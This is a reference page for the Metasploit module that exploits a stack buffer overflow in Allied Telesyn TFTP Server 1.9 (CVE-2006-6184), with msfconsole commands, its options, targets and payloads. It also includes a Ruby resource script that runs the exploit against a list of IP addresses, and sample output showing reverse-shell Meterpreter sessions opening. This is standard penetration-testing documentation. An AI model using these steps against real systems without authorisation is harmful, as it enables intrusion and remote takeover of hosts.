Allied Telesyn TFTP Server 1.9 Long Filename Overflow - Metasploit


This page contains detailed information about how to use the exploit/windows/tftp/attftp_long_filename metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Allied Telesyn TFTP Server 1.9 Long Filename Overflow
Module: exploit/windows/tftp/attftp_long_filename
Source code: modules/exploits/windows/tftp/attftp_long_filename.rb
Disclosure date: 2006-11-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 69
List of CVEs: CVE-2006-6184

This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a request (get/write) for an overly long file name.

Module Ranking and Traits

Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage

Using attftp_long_filename against a single host

Normally, you can use exploit/windows/tftp/attftp_long_filename this way:

msf > use exploit/windows/tftp/attftp_long_filename
msf exploit(attftp_long_filename) > show targets
    ... a list of targets ...
msf exploit(attftp_long_filename) > set TARGET target-id
msf exploit(attftp_long_filename) > show options
    ... show and set options ...
msf exploit(attftp_long_filename) > exploit

Using attftp_long_filename against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your attftp_long_filename will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/tftp/attftp_long_filename")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • LHOST: The listen address (an interface may be specified)

Go back to menu.

Msfconsole Usage

Here is how the windows/tftp/attftp_long_filename exploit module looks in the msfconsole:

msf6 > use exploit/windows/tftp/attftp_long_filename

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/tftp/attftp_long_filename) > show info

       Name: Allied Telesyn TFTP Server 1.9 Long Filename Overflow
     Module: exploit/windows/tftp/attftp_long_filename
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-11-27

Provided by:
  aushack <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic
  1   Windows NT SP4 English
  2   Windows 2000 SP0 English
  3   Windows 2000 SP1 English
  4   Windows 2000 SP2 English
  5   Windows 2000 SP3 English
  6   Windows 2000 SP4 English
  7   Windows XP SP0/1 English
  8   Windows XP SP2 English
  9   Windows XP SP3 English
  10  Windows Server 2003
  11  Windows Server 2003 SP2

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  LHOST   192.168.204.3    yes       The listen address (an interface may be specified)
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   69               yes       The target port (UDP)

Payload information:
  Space: 210
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in AT-TFTP v1.9, by 
  sending a request (get/write) for an overly long file name.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2006-6184
  OSVDB (11350)
  http://www.securityfocus.com/bid/21320
  https://www.exploit-db.com/exploits/2887

Module Options

This is a complete list of options available in the windows/tftp/attftp_long_filename exploit:

msf6 exploit(windows/tftp/attftp_long_filename) > show options

Module options (exploit/windows/tftp/attftp_long_filename):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   LHOST   192.168.204.3    yes       The listen address (an interface may be specified)
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   69               yes       The target port (UDP)

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the windows/tftp/attftp_long_filename exploit:

msf6 exploit(windows/tftp/attftp_long_filename) > show advanced

Module advanced options (exploit/windows/tftp/attftp_long_filename):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/tftp/attftp_long_filename module can exploit:

msf6 exploit(windows/tftp/attftp_long_filename) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Windows NT SP4 English
   2   Windows 2000 SP0 English
   3   Windows 2000 SP1 English
   4   Windows 2000 SP2 English
   5   Windows 2000 SP3 English
   6   Windows 2000 SP4 English
   7   Windows XP SP0/1 English
   8   Windows XP SP2 English
   9   Windows XP SP3 English
   10  Windows Server 2003
   11  Windows Server 2003 SP2

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/tftp/attftp_long_filename exploit:

msf6 exploit(windows/tftp/attftp_long_filename) > show payloads

Compatible Payloads
===================

   #   Name                                                 Disclosure Date  Rank    Check  Description
   -   ----                                                 ---------------  ----    -----  -----------
   0   payload/generic/custom                                                normal  No     Custom Payload
   1   payload/generic/debug_trap                                            normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                        normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                     normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                            normal  No     Generic x86 Tight Loop
   5   payload/windows/dllinject/bind_nonx_tcp                               normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   6   payload/windows/dllinject/reverse_nonx_tcp                            normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   7   payload/windows/dllinject/reverse_ord_tcp                             normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   8   payload/windows/exec                                                  normal  No     Windows Execute Command
   9   payload/windows/meterpreter/bind_nonx_tcp                             normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   10  payload/windows/meterpreter/reverse_nonx_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   11  payload/windows/meterpreter/reverse_ord_tcp                           normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   12  payload/windows/metsvc_bind_tcp                                       normal  No     Windows Meterpreter Service, Bind TCP
   13  payload/windows/metsvc_reverse_tcp                                    normal  No     Windows Meterpreter Service, Reverse TCP Inline
   14  payload/windows/patchupdllinject/bind_nonx_tcp                        normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   15  payload/windows/patchupdllinject/reverse_nonx_tcp                     normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   16  payload/windows/patchupdllinject/reverse_ord_tcp                      normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   17  payload/windows/patchupmeterpreter/bind_nonx_tcp                      normal  No     Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
   18  payload/windows/patchupmeterpreter/reverse_nonx_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   19  payload/windows/patchupmeterpreter/reverse_ord_tcp                    normal  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   20  payload/windows/peinject/bind_nonx_tcp                                normal  No     Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
   21  payload/windows/peinject/reverse_nonx_tcp                             normal  No     Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
   22  payload/windows/peinject/reverse_ord_tcp                              normal  No     Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
   23  payload/windows/powershell_bind_tcp                                   normal  No     Windows Interactive Powershell Session, Bind TCP
   24  payload/windows/powershell_reverse_tcp                                normal  No     Windows Interactive Powershell Session, Reverse TCP
   25  payload/windows/shell/bind_nonx_tcp                                   normal  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   26  payload/windows/shell/reverse_nonx_tcp                                normal  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   27  payload/windows/shell/reverse_ord_tcp                                 normal  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   28  payload/windows/upexec/bind_nonx_tcp                                  normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   29  payload/windows/upexec/reverse_nonx_tcp                               normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   30  payload/windows/upexec/reverse_ord_tcp                                normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   31  payload/windows/vncinject/bind_nonx_tcp                               normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   32  payload/windows/vncinject/reverse_nonx_tcp                            normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   33  payload/windows/vncinject/reverse_ord_tcp                             normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)

Evasion Options

Here is the full list of possible evasion options supported by the windows/tftp/attftp_long_filename exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/tftp/attftp_long_filename) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • aushack

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.